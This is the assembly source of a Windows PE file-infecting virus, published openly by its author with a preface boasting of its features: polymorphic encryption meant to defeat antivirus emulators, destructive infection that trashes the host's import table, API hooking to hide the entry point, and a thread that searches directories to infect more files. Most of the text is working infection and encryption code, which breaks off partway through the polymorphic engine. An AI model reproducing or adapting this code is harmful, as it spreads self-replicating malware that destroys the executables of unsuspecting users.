This is my biggest PE virus, it's about 3500 lines, the virus binary
size is more than 6K.
Maybe this is my last virus. I've decided to exit from the VXer scene.It's a pity that there are too many bugs in it. There are two major bugs
in the original version, one is the second threads can dead lock under
some certain condition, the other is I didn't use any SEH in it, so it will
crash when scanning some DOS executables. I've patched the second bugs in
this source code.This virus' main feature:
1, Simple polymorphism engine. This engine is my first poly engine. It's
very simple, but seems this engine can make some AV software hang the OS.
Some AV s/w's virtual machine can't run it correctly.
2, Unrecoverable infection. After infection, the host PE file structure has
been destroyed and almost impossible to recovery.
3, Full EPO. It doesn't modify the entry point. It uses a new infection
method. It removes the host file's import table and stored the import DLLs
and APIs name in its own buffer. Then it builds a new import table which only
imports LoadLibraryA and GetProcAddress, this two APIs are enough for it to
import all its and the host file's needed APIs. This is how it destroy the
host file. To implement EPO, it hook many APIs which imported by the host
file.
4, Both directly and indirectly infect. As I've said, it hooks many APIs
(about 15 APIs with both ANSI and Unicode version), so it only infects when
the hooked APIs are called. But when the infection is triggered, it will
active the second thread to do a short coninuous infection by searching the
directory.To learn more about this virus, you can visit Symantec website and read
the write up about virus W32.Cervan.Bye, the virus world, bye, the Chinese VXer scene.
You can contact me by mail vancheer@hotmail.com
`.586
.model flatinclude kernel32.inc
include user32.inc
include win32.inc
includelib kernel32.lib
includelib user32.libDEBUG = 0
if DEBUG
addrGetLastError = 77e8668ch
addrOutputDebugStringA = 77ea0c93hDEBUGBREAK equ int 3
else
display 'Warning!!! This is release version!!!'
endifMIN_SIZE_TO_INFECT equ (16*1024)
SECTION_QUERY equ 0001h
SECTION_MAP_WRITE equ 0002h
SECTION_MAP_READ equ 0004h
SECTION_MAP_EXECUTE equ 0008h
SECTION_EXTEND_SIZE equ 0010hFILE_MAP_COPY equ SECTION_QUERY
FILE_MAP_WRITE equ SECTION_MAP_WRITE
FILE_MAP_READ equ SECTION_MAP_READ
;FILE_MAP_ALL_ACCESS equ SECTION_ALL_ACCESSPAGE_NOACCESS equ 01h
PAGE_READONLY equ 02h
PAGE_READWRITE equ 04h
PAGE_WRITECOPY equ 08h
PAGE_EXECUTE equ 10h
PAGE_EXECUTE_READ equ 20h
PAGE_EXECUTE_READWRITE equ 40h
PAGE_EXECUTE_WRITECOPY equ 80h
PAGE_GUARD equ 100h
PAGE_NOCACHE equ 200h
PAGE_WRITECOMBINE equ 400hMEM_COMMIT equ 1000h
MEM_RELEASE equ 8000hPTADD = 0
PTSUB = 1
PTROR = 2
PTROL = 3
PTXOR = 4
PTBSWAP = 5PTNONE = 38h
PTNUM = 6PolyUnit struc
PUType db ?
PUKey dd ?
db 3 dup(?) ;for align
PolyUnit endsPolyVar struc
PVReg db 8 dup(?)
PolyVar endsFileMapper struct
FMBuffer dd ?
FMFileName dd ?
FMFileHandle dd ?
FMMapHandle dd ?
FMFileSize dd ?
FMFileAttr dd ?
FMFileTime dd 2*3 dup(?)FMPEBase dd ?
FMCurPtr dd ?FMImportAPINum dd ?
FMImportPA dd ?
FMImportThunkPA dd ?
FMImportStringPA dd ?
FMDataStartPA equ FMImportStringPA
FMVirImportPA dd ?
FMVirStartPA dd ?
FMVirEntryPA dd ?
FMPolyPA dd ?FMDataSize dd ? ;the size of can encrypt data
FMLoadLibraryAPA dd ?
FMGetProcAddressPA dd ?FMPolyUnit PolyUnit 32 dup(<>)
FMPolyVar PolyVar <>
FileMapper endsIMPORT_IS_ORD = 1
IMPORT_IS_NAME = 2VIR_IMPORT_SIZE = 95
DEFUNICODE macro sym,str
&sym:
irpc c,str
dw '&c'
endm
dw 0
endm.data
cap db 'Caption',0
msg db 'Message',0
fn db 'tfuck.exe',0
TmpBuffer db 3 dup(0)
TmpPolyVar db 8 dup(0)
TmpPolyUnit PolyUnit 500 dup(<>)
wildfn db 'd:/asm/mv/*.*',0DEFUNICODE fnW,
DEFUNICODE wildfnW,strKernel32 db 'kernel32.dll',0
strLoadLibraryA db 'LoadLibraryA',0
strGetProcAddress db 'GetProcAddress',0.code
VirStart:
cldcall ImportBuildIP
ImportBuildIP:
pop edxcld
call GetVirAPIAddresslea esi,[edx+VirStart-ImportBuildIP]
mov edi,VirVirtualSize
call VirAlloc
mov ecx,VirSize
xchg eax,edi
lea edx,[edi+ImportBuildIP-VirStart]
rep movsb
mov eax,edx
add eax,VirContinue-ImportBuildIP
jmp eaxVirContinue:
;Initialize some variant
xor ecx,ecx
mov [edx+CanSearchTick-ImportBuildIP],ecx
pushadmov esi,edx
push ecx
push ecx
push ecx
push ecx
call [esi+addrCreateEventA-ImportBuildIP]
mov [esi+VirEventHandle-ImportBuildIP],eaxxor ecx,ecx
push eax
push esp
push ecx
push ecx
lea eax,[esi+SearchThread-ImportBuildIP]
push eax
push ecx
push ecx
call [esi+addrCreateThread-ImportBuildIP]
pop eaxpopad
mov esi,12345678h ;Redirected import table offset
RVAImportString equ $-4;Decrypt import string
push esi
mov edi,esi
mov ecx,12345678h
DecryptImportCount equ $-4DecryptImportLoop:
lodsb
xor al,0
DecryptImportXorKey equ $-1
ror al,0
DecryptImportRorKey equ $-1
stosb
loop DecryptImportLoop
DecryptImportEnd:
pop esimov eax,[esp+9*4] ;API ordinal
push eax
push large ecx ;API count=0
mov ebp,espmov edi,87654321 ;Import table address
RVAImportPA equ $-4lea ebx,[edx+ImportBuildCallback-ImportBuildIP]
sub edi,4
ImportBuildLoop:
add edi,4
push edi
mov edi,[edi]
call VirGetAddress
pop edi
cmp byte ptr [esi],0
jnz short ImportBuildLooppop eax
pop eax
mov [esp+9*4],eaxpopfd
popad
retn
ImportBuild_end:ImportBuildCallback:
push ecx
push edi
pushfdor eax,eax
jz short ImportBuildCallbackNotHook
call ImportBuildCallbackIP
ImportBuildCallbackIP:
pop edxstd
lea edi,[edx+HookAPITable+HookNum*4-4-ImportBuildCallbackIP]
push large HookNum
pop ecx
repnz scasd
jnz short ImportBuildCallbackNotHook
lea edi,[edx+ecx*2+HookProcTable-ImportBuildCallbackIP]
movzx eax,word ptr [edi]
lea edi,[edx+VirStart-ImportBuildCallbackIP]
add eax,ediImportBuildCallbackNotHook:
mov edx,[ebp]
cmp edx,[ebp+4]
jnz short ImportBuildCallback1
mov [ebp+4],eax
ImportBuildCallback1:
inc dword ptr [ebp]popfd
pop edi
pop ecx
retn
ImportBuildCallback_end:;Get the API address used by vir
;Param: edx=>ImportBuildIP
GetVirAPIAddress:
pushadxor ebx,ebx
lea esi,[edx+Kernel32APIName-ImportBuildIP]
lea edi,[edx+Kernel32APIAddr-ImportBuildIP]
call VirGetAddresslea esi,[edx+Shell32APIName-ImportBuildIP]
lea edi,[edx+Shell32APIAddr-ImportBuildIP]
call VirGetAddresslea esi,[edx+SfcAPIName-ImportBuildIP]
lea edi,[edx+SfcAPIAddr-ImportBuildIP]
call VirGetAddresslea esi,[edx+ComDlg32APIName-ImportBuildIP]
lea edi,[edx+ComDlg32APIAddr-ImportBuildIP]
call VirGetAddresslea esi,[edx+User32APIName-ImportBuildIP]
lea edi,[edx+User32APIAddr-ImportBuildIP]
call VirGetAddresspopad
retn
GetVirAPIAddress_end:;Redirected import table
;db kernel32.dll
;db 1,db CreateFileA
;db 2 dw hint
;db WriteFile
;db 0
;db user32.dll
;........
;db 0
;db 0;Load DLL and get all api address
;Param: esi->DLL name,edi->address,ebx->call back function,ebp=param for the callback
;Return: esi->after null byte
;Callback param: eax=API address,ebp=user defined param,edi->address API to store to
;Callback return: eax=API address to store
VirGetAddress:
push edxmov edx,12345678h ;RVA of LoadLibraryA
RVALoadLibraryA equ $-4mov eax,esi
call VirGetStrTail
xchg eax,esipush dword ptr [eax]
push eaxmov byte ptr [eax],0
push esi
call [edx]
mov ecx,eaxpop eax
pop dword ptr [eax]
xchg esi,eax
VirGetAddressLoop:
lodsb
or al,al
jz short VirGetAddressRetpush ebp
push ecxcmp al,IMPORT_IS_NAME
jz short VirGetAddressIsName
xor eax,eax
lodsw
mov ebp,[esi]
push esi
push eax
jmp short VirGetAddress1
VirGetAddressIsName:
push esi
call VirGetStrTail
mov ebp,[esi]
mov byte ptr [esi],0
xchg esi,[esp]
push esi
VirGetAddress1:
push ecx
mov edx,55667788h; RVA of GetProcAddress
RVAGetProcAddress equ $-4
call [edx]pop esi
mov [esi],ebp
pop ecx
pop ebpor ebx,ebx
jz short VirGetAddressNoCallback
call ebx
VirGetAddressNoCallback:stosd
jmp short VirGetAddressLoopVirGetAddressRet:
pop edxretn
VirGetAddress_end:;Find the first byte which is less than 6
;Param: esi->string
;Return: esi->strange byte
VirGetStrTail:
dec esi
VirGetStrTailLoop:
inc esi
cmp byte ptr [esi],5
ja short VirGetStrTailLoop
retn
VirGetStrTail_end:;Infect a file
;Param: edi->FileName
InfectFile:
pushad
call InfectFileIP
InfectFileIP:
pop ebpcld
or edi,edi
jz InfectFileRetmov esi,edi
call VirGetStrTailif DEBUG
mov eax,[esi-8]
call EAXToLowcase
cmp eax,'kcuf' ;if debuging,only infect *fuck.exe
jnz InfectFileRet
endifmov eax,[esi-4]
call EAXToLowcase
cmp eax,'exe.'
jz short InfectFileStart
cmp eax,'rcs.'
jnz InfectFileRetInfectFileStart:
call IsInDllCache
jnz InfectFileRet;Check for SFC
mov ecx,[ebp+addrSfcIsFileProtected-InfectFileIP]
jecxz CheckSFCEnd ;is not Win2K,don't check SFC
mov esi,1000
sub esp,esimov eax,esp
push ecxpush large 500
push eax
push large -1
push edi
push large 1 ;MB_PRECOMPOSED
push large 0 ;CP_ACP
call [ebp+addrMultiByteToWideChar-InfectFileIP]pop ecx
push esp
push large 0
call ecxadd esp,esi
or eax,eax
jnz InfectFileRet
CheckSFCEnd:sub esp,size FileMapper
mov esi,esp
call MapFile
jz InfectFileFailMap
push esipush ebp
lea ecx,[ebp+InfectFileSEH-InfectFileIP]
push ecx
xor ecx,ecx
push dword ptr fs:[ecx]
mov fs:[ecx],espmov [ebp+InfectFileESP-InfectFileIP],esp
cmp [esi].FMFileSize,16*1024 ;only infect files size bigger than 16K
jc InfectFileUnmapmov ebx,eax
call CheckPE
jz InfectFileUnmap
mov [esi].FMPEBase,eax;Check whether it's a WinZip Self-Extractor file
movzx edx,word ptr [eax+14h]
mov edx,[eax+edx+18h+14h+28h] ;ebx->the second section's PointerToRawData
add edx,ebx
cmp dword ptr [edx+10h],'ZniW'
jnz NotWinzip
cmp word ptr [edx+10h+4],'pi'
jz InfectFileUnmap
NotWinzip:;Check whether the file is a SFX(RAR file)
xor edi,edi
call get_section_of_rva
mov ecx,[edx+0ch]
add ecx,[edx+8]
mov edx,ecx
shr ecx,3
add ecx,edx
cmp ecx,[esi].FMFileSize
jna InfectFileUnmap
add edx,ebx ;now ecx->perhaps rar file header
cmp dword ptr [edx],21726152h ;test for rar signature
jz InfectFileUnmapmov edi,[eax+80h] ;Import Table RVA
call get_section_of_rva
jz InfectFileUnmap ;No import table
or byte ptr [edx+1ch+3],80h ;modify raw import section as writablecall RVAToPA
add edi,ebx;Check infected.If there is only one DLL loaded,it's infected.
cmp dword ptr [edi+3*4],0
jz InfectFileUnmap ;has no import table
cmp dword ptr [edi+3*4+5*4],0 ;next dll name
jz InfectFileUnmap ;hasn't second dll,maybe infectedadd ebx,[esi].FMFileSize
mov [esi].FMCurPtr,ebxpush edi
push eax
lea edi,[eax+0d0h]
lea ecx,[eax+0a0h]
xor eax,eax
stosd ;Clear import bind entry
stosd
stosd ;Clear Import Address Table entry
stosd
xchg ecx,edi
stosd ;Clear relocation
stosd
pop eax
pop edicall RedirectImpoartTable
mov ebx,[esi].FMCurPtrcall BuildVirImportTable
mov ebx,[esi].FMCurPtrmov edi,ebx
call PolyGenGarbageBuffer ;insert some garbage codepush eax
mov [esi].FMVirEntryPA,edimov ax,9c60h ;pushad/pushfd
stoswadd edi,10 ; space for two mov reg32,imm32,must be 10 bytes
pop eax
mov [esi].FMPolyPA,edi
push ebp
push esi
push eaxcall VirGetRand
xchg eax,edx
and dl,1
add dl,6 ;use esi or edi as pointer reg
and dh,3 ;use common reg as counter
lea ebp,[esi].FMPolyVar
lea esi,[esi].FMPolyUnit
call VirPolypop eax
pop esi
pop ebpmov [esi].FMVirStartPA,edi
push esi
lea esi,[ebp+VirStart-InfectFileIP]
mov ecx,VirSize
rep movsb
pop esicall PolyGenGarbageBuffer ;insert some garbage code
mov [esi].FMCurPtr,edi
;Initialize some variant
pushad
mov ecx,[esi].FMVirStartPAmov edi,[esi].FMLoadLibraryAPA
call RealPAToRVA
mov [ecx+RVALoadLibraryA-VirStart],edimov edi,[esi].FMGetProcAddressPA
call RealPAToRVA
mov [ecx+RVAGetProcAddress-VirStart],edimov edi,[esi].FMImportPA
call RealPAToRVA
mov [ecx+RVAImportPA-VirStart],edimov edi,[esi].FMImportStringPA
push edi
call RealPAToRVA
mov [ecx+RVAImportString-VirStart],edi
pop edi;Encrypt import string
pushad
mov edx,[esi].FMDataSize
mov [ecx+DecryptImportCount-VirStart],edx
call VirGetRand
mov [ecx+DecryptImportRorKey-VirStart],al
mov [ecx+DecryptImportXorKey-VirStart],ah
mov cl,al
mov esi,edi
EncryptImportLoop:
lodsb
rol al,cl
xor al,ah
stosb
dec edx
jnz short EncryptImportLoop
popadmov edi,ecx
call RealPAToRVA
mov ecx,[esi].FMVirEntryPA
mov al,0b8h
or al,dl
mov [ecx+2],al
mov [ecx+3],edi;Encrypt virus body
mov ebx,ecx
mov edi,[esi].FMVirStartPA
lea esi,[esi].FMPolyUnit
mov ecx,VirSize
call VirEncryptmov al,0b8h
or al,dh
mov [ebx+7],al
mov [ebx+8],ecxpopad
call FillThunkCode
;Save vir import entry
mov edi,[esi].FMVirImportPA
sub edi,[esi].FMBuffer
call PAToRVA
mov [eax+80h],edi
push large VIR_IMPORT_SIZE
pop dword ptr [eax+84h];Enlarge the file
xor edi,edi
call get_section_of_rva
mov ecx,[esi].FMCurPtr
sub ecx,[esi].FMBuffer
sub ecx,[edx+0ch]
call RouncECX
cmp ecx,[edx]
jc short InfectFileRound1
mov [edx],ecx
InfectFileRound1:
cmp ecx,[edx+8]
jc short InfectFileRound2
mov [edx+8],ecx
InfectFileRound2:
mov ecx,[edx+0ch]
add ecx,[edx+8]
mov [esi].FMFileSize,ecxpush ecx
mov ecx,[edx]
add ecx,[edx+4]
call RouncECX
mov [eax+50h],ecx ;SizeOfImageor dword ptr [edx+1ch],60000020h or 40000040h or 80000000h
;Calc eheck sum
pop ecx
lea ebx,[eax+58h] ;CheckSum
xor edx,edx
cmp dword ptr [ebx],edx
jz short NoChecksum
mov dword ptr [ebx],edx
mov esi,[esi].FMBuffer
push ecx
shr ecx,1
clc
ChecksumLoop:
lodsw
adc dx,ax
loop ChecksumLoop
pop ecx
add edx,ecx
mov [ebx],edxNoChecksum:
InfectFileUnmap:
mov esp,12345678h
InfectFileESP equ $-4
xor ecx,ecx
pop dword ptr fs:[ecx] ; restore except chain
pop ecx
pop ecxpop esi
call UnmapFileInfectFileFailMap:
add esp,size FileMapperInfectFileRet:
popad
retn
InfectFile_end:InfectFileSEH:
call InfectFileSEHIP
InfectFileSEHIP:
pop eaxlea eax,[eax+InfectFileUnmap-InfectFileSEHIP]
push eax
mov eax,[esp + 0ch+4]
pop dword ptr [eax + 0B8h]
xor eax,eax
retn
InfectFileSEH_end:RealPAToRVA:
sub edi,[esi].FMBuffer
call PAToRVA
add edi,[eax+34h] ;ImageBase
retn
RealPAToRVA_end:;Round ecx to 1000h
RouncECX:
test cx,0fffh
jz short RouncECX1
and cx,0f000h
add ecx,1000h
RouncECX1:
retn
RouncECX_end:;Fill the raw import table to our entry
;Param: eax->PE base,esi->FilaMapper
FillThunkCode:
pushadmov ecx,[esi].FMImportAPINum
mov edi,[esi].FMVirEntryPA
sub edi,[esi].FMBuffer
call PAToRVA
mov edx,edi
mov edi,[esi].FMImportThunkPA
mov ebx,edi
sub edi,[esi].FMBuffer
call PAToRVA
sub edx,ediFillThunkCodeLoop:
sub edx,1+4+1+4
mov byte ptr [ebx+1+4],0e9h
mov [ebx+1+4+1],edx
add ebx,1+4+1+4
loop FillThunkCodeLooppopad
retn
FillThunkCode_end:;Param: esi->FileMapper,eax->PE base,DF=0
BuildVirImportTable:
pushad
call BuildVirImportTableIP
BuildVirImportTableIP:
pop ebpxor edi,edi
call get_section_of_rva
mov ecx,edx
mov edi,[eax+28h]
call get_section_of_rvapush eax
cmp edx,ecx
jnc BuildVirImportTableNoCavPop ;is the last sectionlea eax,[edx+8]
mov ebx,[eax]
cmp ebx,[edx]
jc short BuildVirImportTableFindCav2
mov ebx,[edx]
mov eax,edx
BuildVirImportTableFindCav2:
or ebx,ebx
jz BuildVirImportTableNoCavPop ;the minor size is zero,don't use itmov edi,[edx+28h+0ch] ;next section's PointerToRawData
add ebx,[edx+0ch]
sub edi,ebx
cmp edi,VIR_IMPORT_SIZE+10
jle short BuildVirImportTableNoCavPop
mov edi,ebx
add edi,[esi].FMBuffer
add dword ptr [eax],VIR_IMPORT_SIZE+10 ;enlarge raw data size
or dword ptr [edx+1ch],60000020h or 40000040h or 80000000h
and dword ptr [edx+1ch],not 02020000 ;remove discardable Characteristics
jmp short BuildVirImportTableBeginBuildBuildVirImportTableNoCavPop:
mov edi,[esi].FMCurPtrBuildVirImportTableBeginBuild:
pop eaxmov [esi].FMVirImportPA,edi
push eax
xor eax,eax
push large 5*2+3
pop ecx
rep stosd
pop eaxpush edi
push esi
push large VirImportTableStringSize
pop ecx
lea esi,[ebp+VirImportTable-BuildVirImportTableIP]
rep movsb
pop esicmp edi,[esi].FMCurPtr
jb short BuildVirImportTableInner
mov [esi].FMCurPtr,edi
BuildVirImportTableInner:
pop edilea edx,[edi-3*4-5*4-2*4] ;->DLL name RVA
sub edi,[esi].FMBuffer
call PAToRVA
mov [edx],edi
sub edi,3*4
mov [edx+4],edi
add edx,5*4+2*4
add edi,3*4+12
mov [edx],edi
mov [esi].FMLoadLibraryAPA,edx
add edi,14
add edx,4
mov [edx],edi
mov [esi].FMGetProcAddressPA,edx
popad
retn
BuildVirImportTable_end:comment $
Redirect Import Table format
db 'kernel32.dll'
db IMPORT_IS_NAME,'CreateFileA'
db IMPORT_IS_ORD,1,2
db IMP...
db 0
next dll
db 0Import Thunk Code format
push large ordinal
jmp vircode
$
;Param: edi->Raw import table,esi->FileMapper,eax->PE base,DF=0
RedirectImpoartTable:
pushad
mov ebx,[esi].FMCurPtr
mov [esi].FMImportStringPA,ebxpush edi
push eaxmov edx,edi
sub edx,5*4RedirectImpoartTableLoop:
add edx,5*4
mov edi,[edx+4*3] ;edi->DLL name RVA
or edi,edi
jz short RedirectImpoartTableThunk
mov eax,[esi].FMPEBase
call RVAToPA
mov ecx,[esi].FMBuffer
add edi,ecx
push eax
;Copy DLL name
RedirectImpoartTable1:
mov al,[edi]
mov [ebx],al
mov byte ptr [edi],0 ;trash the DLL name
inc edi
inc ebx
or al,al
jnz short RedirectImpoartTable1dec ebx ;no tail null byte
;Some APPs' FirstThunk not point to vaild address
;so we must use Characteristics at first
mov edi,[edx] ;edi->DLL Characteristics
or edi,edi
jnz short RedirectImpoartTableUseDLLChar
mov edi,[edx+4*4] ;edi->FirstThunk RVA
RedirectImpoartTableUseDLLChar:
pop eax
call RVAToPA
add edi,ecx
sub edi,4RedirectImpoartTableAPILoop:
add edi,4
mov ecx,[edi]
mov byte ptr [ebx],0
inc ebx
jecxz RedirectImpoartTableLoop
dec ebx
test ecx,80000000h
jnz short RedirectImpoartTableIsOrd
xchg ecx,edi
call RVAToPA
xchg ecx,edi
add ecx,[esi].FMBuffer
inc ecx
inc ecx ;Skip ordinal
mov byte ptr [ebx],IMPORT_IS_NAME
inc ebx
;Copy API name
RedirectImpoartTable2:
push eax
mov al,[ecx]
mov [ebx],al
mov byte ptr [ecx],0 ;trash API name
inc ebx
inc ecx
or al,al
pop eax
jnz short RedirectImpoartTable2dec ebx ;no tail null byte
jmp short RedirectImpoartTableAPILoop
RedirectImpoartTableIsOrd:
mov byte ptr [ebx],IMPORT_IS_ORD
inc ebx
mov word ptr [ebx],cx
inc ebx
inc ebx
jmp short RedirectImpoartTableAPILoop;Generate thunk code
RedirectImpoartTableThunk:
mov eax,ebx
sub eax,[esi].FMImportStringPA
mov [esi].FMDataSize,eaxmov byte ptr [ebx],0 ;import table tail null byte
inc ebxmov dword ptr [esi].FMImportAPINum,0
pop eax ;PE base
pop edx ;Import tablemov [esi].FMImportThunkPA,ebx
push edx
push eax
sub edx,4*5
RedirectImpoartTableThunkLoop:
add edx,4*5
cmp dword ptr [edx+3*4],0
jz short RedirectImpoartTableTrashmov edi,[edx+4*4]
call RVAToPA
add edi,[esi].FMBuffer
sub edi,4
RedirectImpoartTableThunkAPILoop:
add edi,4
mov ecx,edi
cmp dword ptr [ecx],0
jz short RedirectImpoartTableThunkLoop
push edi
mov edi,ebx
sub edi,[esi].FMBuffer
call PAToRVA
add edi,[eax+34h] ;ImageBase
mov [ecx],edi ;Redirect import address to our thunk code
pop edimov byte ptr [ebx],68h ;push imm32
inc ebx
push dword ptr [esi].FMImportAPINum
pop dword ptr [ebx]
inc dword ptr [esi].FMImportAPINum
add ebx,4+1+4
jmp short RedirectImpoartTableThunkAPILoop;Trash import table structure,build the DLL APIs table
RedirectImpoartTableTrash:
pop edx
pop edi
mov [esi].FMImportPA,ebx
xor eax,eaxRedirectImpoartTableTrashLoop:
mov [ebx],eax
cmp dword ptr [edi+3*4],0
jz short RedirectImpoartTableRet
mov ecx,[edi+4*4]
add ecx,[edx+34h] ;ImageBase
mov [ebx],ecxpush large 5
pop ecx
rep stosd ;trash import table structure
add ebx,4
jmp short RedirectImpoartTableTrashLoopRedirectImpoartTableRet:
mov [esi].FMCurPtr,ebx
popad
retn
RedirectImpoartTable_end:;Param: edi=size in byte to alloc
;Return: eax->Buffer
VirAlloc:
pushad
call VirAllocIP
VirAllocIP:
pop ebp
push large PAGE_EXECUTE_READWRITE
push large MEM_COMMIT
push edi
push large 0
call [ebp+addrVirtualAlloc-VirAllocIP]
call SetMemZero
mov [esp+7*4],eax
popad
retn
VirAlloc_end:;Param: eax->Buffer,edi=size in byte to alloc,DF=0
SetMemZero:
pushad
mov ecx,edi
mov edi,eax
xor eax,eax
rep stosb
popad
retn
SetMemZero_end:;Parem: ebx->image base
;Return: ZF not set,is valid PE,ZF set,invalid,eax->PE base
CheckPE:
push ecx
xor ecx,ecx
cmp word ptr [ebx],'ZM'
jnz short CheckPERet
mov eax,[ebx+3ch]
cmp eax,4*1024
ja short CheckPERet
add eax,ebx
cmp word ptr [eax],'EP'
jnz short CheckPERet
test byte ptr [eax+16h+1],20h ;Is a DLL?
jnz short CheckPERet
mov dl,[eax+5ch] ;Subsystem
and dl,0feh
cmp dl,2
jnz short CheckPERet
inc ecx
CheckPERet:
or ecx,ecx
pop ecx
retn
CheckPE_end:;Get the section of a RVA
;in--eax=PE base,edi=RVA to find
;out--edx->section header.VirtualSize,ecx=0 means not found
;if not found,edx=>last section header.VirtualSize
get_section_of_rva:
push esi
push ecx
movzx edx,word ptr [eax+14h]
lea edx,[eax+edx+18h+8-28h] ;->before first section header.VirtualSize
movzx ecx,word ptr [eax+6]
inc ecx
get_section_of_rva_1:
dec ecx
jecxz get_section_of_rva_2
add edx,28h ;->VirtualSize
mov esi,[edx+4]; esi=VirtualAddress
cmp edi,esi ;RVAbefore first section header.VirtualSize
movzx ecx,word ptr [eax+6]
inc ecx
PAToRVA_1:
dec ecx
jecxz PAToRVA_2
add edx,28h
cmp edi,[edx+28h+0ch];next section PointerToRawData
jnb short PAToRVA_1
PAToRVA_2:
sub edi,[edx+0ch]
add edi,[edx+4]
pop edx
pop ecx
retn
PAToRVA_end:;Create a file mapping
;Param: esi->FileMapper edi->FileName
MapFile:
push ebp
push ebxcall MapFileIP
MapFileIP:
pop ebppush large (size FileMapper) - 1
pop ecx
xor eax,eax
MapFileInit:
mov byte ptr [esi+ecx],al
loop MapFileInit
mov dword ptr [esi],eaxmov [esi].FMFileName,edi
push edi
call [ebp+addrGetFileAttributesA-MapFileIP]
mov [esi].FMFileAttr,eaxand eax,not FILE_ATTRIBUTE_READONLY
push eax
push edi
call [ebp+addrSetFileAttributesA-MapFileIP]push large 0
push large FILE_ATTRIBUTE_ARCHIVE or FILE_ATTRIBUTE_HIDDEN
push large OPEN_EXISTING
push large 0
push large FILE_SHARE_READ
push large GENERIC_WRITE or GENERIC_READ
push edi
call [ebp+addrCreateFileA-MapFileIP]
inc eax
jz short MapFileRet
mov [esi].FMFileHandle,eaxdec eax
lea ebx,[esi].FMFileTime
push ebx ;ebx->file last write time
add ebx,8
push ebx
add ebx,8
push ebx
push eax
call [ebp+addrGetFileTime-MapFileIP]push ecx
push esp ;->file size high
push [esi].FMFileHandle
call [ebp+addrGetFileSize-MapFileIP]
pop ecx
inc eax
jz MapFileRet
dec eax
or ecx,ecx
jnz MapFileRet
mov [esi].FMFileSize,eaxxchg eax,ebx
add ebx,256*1024 ; 256K buffer
xor edx,edx
push edx
push ebx
push edx
push large PAGE_READWRITE
push edx
push [esi].FMFileHandle
call [ebp+addrCreateFileMappingA-MapFileIP]or eax,eax
jz MapFileRet
mov [esi].FMMapHandle,eaxpush ebx
push large 0
push large 0
push large FILE_MAP_WRITE
push eax
call [ebp+addrMapViewOfFile-MapFileIP]
mov [esi].FMBuffer,eaxMapFileRet:
pop ebx
pop ebp
mov eax,[esi].FMBuffer
or eax,eax
ret
MapFile_end:;Unmap a file mapping
;Param: esi->FileMapper
UnmapFile:
pushad
call UnmapFileIP
UnmapFileIP:
pop ebp
push [esi].FMBuffer
call [ebp+addrUnmapViewOfFile-UnmapFileIP]push [esi].FMMapHandle
call [ebp+addrCloseHandle-UnmapFileIP]push large 0
push large 0
push [esi].FMFileSize
push [esi].FMFileHandle
call [ebp+addrSetFilePointer-UnmapFileIP]mov edi,[esi].FMFileHandle
push edi
call [ebp+addrSetEndOfFile-UnmapFileIP]lea ebx,[esi].FMFileTime
push ebx
add ebx,8
push ebx
add ebx,8
push ebx
push edi
call [ebp+addrSetFileTime-UnmapFileIP]push edi
call [ebp+addrCloseHandle-UnmapFileIP]push [esi].FMFileAttr
push [esi].FMFileName
call [ebp+addrSetFileAttributesA-UnmapFileIP]popad
retn
UnmapFile_end:EAXToLowcase:
push ecx
push large 4
pop ecx
EAXToLowcase_0:
cmp al,'A'
jc EAXToLowcase_1
cmp al,'Z'
ja EAXToLowcase_1
add al,'a'-'A'
EAXToLowcase_1:
ror eax,8
loop EAXToLowcase_0
pop ecx
retn
EAXToLowcase_end:;Check whether the path include 'tem32/dllcach'('system32/dllcache')
;Param: edi->full path file name,esi->tail of file name
;Return: ZF=0 means is,ZF=1 means not
IsInDllCache:
pushadxor ebx,ebx
xchg esi,edi
IsInDllCacheLoop:
push esi
lodsd
call EAXToLowcase
cmp eax,'3met'
jnz short IsInDllCacheNext
lodsd
call EAXToLowcase
cmp eax,'ld/2'
jnz short IsInDllCacheNext
lodsd
call EAXToLowcase
cmp eax,'cacl'
jnz short IsInDllCacheNext
inc ebx
jmp short IsInDllCacheRet
IsInDllCacheNext:
pop esi
inc esi
lea eax,[esi+10]
cmp eax,edi
jc short IsInDllCacheLoop
push esi
IsInDllCacheRet:
pop esi
or ebx,ebx
popad
retn
IsInDllCache_end:db 'Win32 Loicer by Vancheer/CVC,made in China,2002'
;Param: esi->PolyUnit,edi->buffer to encrypt,ecx=buffer size
;Return: ecx=rounded size
VirEncrypt:
call VirGetEncryptSizepushad
mov ebp,esi
;We must reverse the decrypt order generated by the poly engine
VirEncryptReverseLoop:
cmp [esi].PUType,PTNONE
jz short VirEncryptBegin
add esi,size PolyUnit
jmp short VirEncryptReverseLoopVirEncryptBegin:
VirEncryptDataLoop:
mov ebx,[edi+ecx]
push esiVirEncryptTypeLoop:
sub esi,size PolyUnit
mov al,[esi].PUType
mov edx,[esi].PUKeycmp al,PTXOR
jnz short VirEncrypt_1
xor ebx,edx
jmp short VirEncryptNextType
VirEncrypt_1:cmp al,PTADD
jnz short VirEncrypt_2
sub ebx,edx
jmp short VirEncryptNextType
VirEncrypt_2:cmp al,PTSUB
jnz short VirEncrypt_3
add ebx,edx
jmp short VirEncryptNextType
VirEncrypt_3:cmp al,PTROR
jnz short VirEncrypt_4
push ecx
mov cl,dl
rol ebx,cl
pop ecx
jmp short VirEncryptNextType
VirEncrypt_4:cmp al,PTROL
jnz short VirEncrypt_5
push ecx
mov cl,dl
ror ebx,cl
pop ecx
jmp short VirEncryptNextType
VirEncrypt_5:bswap ebx
VirEncryptNextType:
cmp esi,ebp
jnz short VirEncryptTypeLoopVirEncryptNextData:
pop esi
mov [edi+ecx],ebx
sub ecx,4
jge VirEncryptDataLooppopad
retn
VirEncrypt_end:;Param: ecx=buffer size
;Return: ecx=rounded buffer size
VirGetEncryptSize:
and cl,0fch ;round to 4
sub ecx,4
retn
VirGetEncryptSize_end:;Param: esi->PolyUnit,edi->poly output buffer,ebp->PolyVar
; dl=reg for pointer(not ebp,esp),dh=reg for count,the count must be dividable by 4
VirPoly:
pushadcall VirGetRand
movzx ecx,al
and cl,0fh
add cl,08h ;15-23 layers polypush ecx
mov al,PTNONE
VirPolyLoop:
call PolyInitVar ;don't generate code before PolyInitVarcall PolyGenGarbage
push eax
call VirPolyHelp ;mov a dword to a random reg
pop eaxpush ecx
push edx ;save two regpush eax
call VirGetRand
mov [esi].PUKey,eax
xchg edx,eax
pop eaxcall PolyGetType
mov [esi].PUType,al
add esi,size PolyUnit
mov [esi].PUType,PTNONExchg edx,[esp]
call PolyGenGarbage
xchg edx,[esp]cmp al,PTXOR
jnz short VirPoly_2
;Method XOR
call PolyXorReg32Imm
jmp short VirPolyNextVirPoly_2:
cmp al,PTADD
jnz short VirPoly_3
;Method add
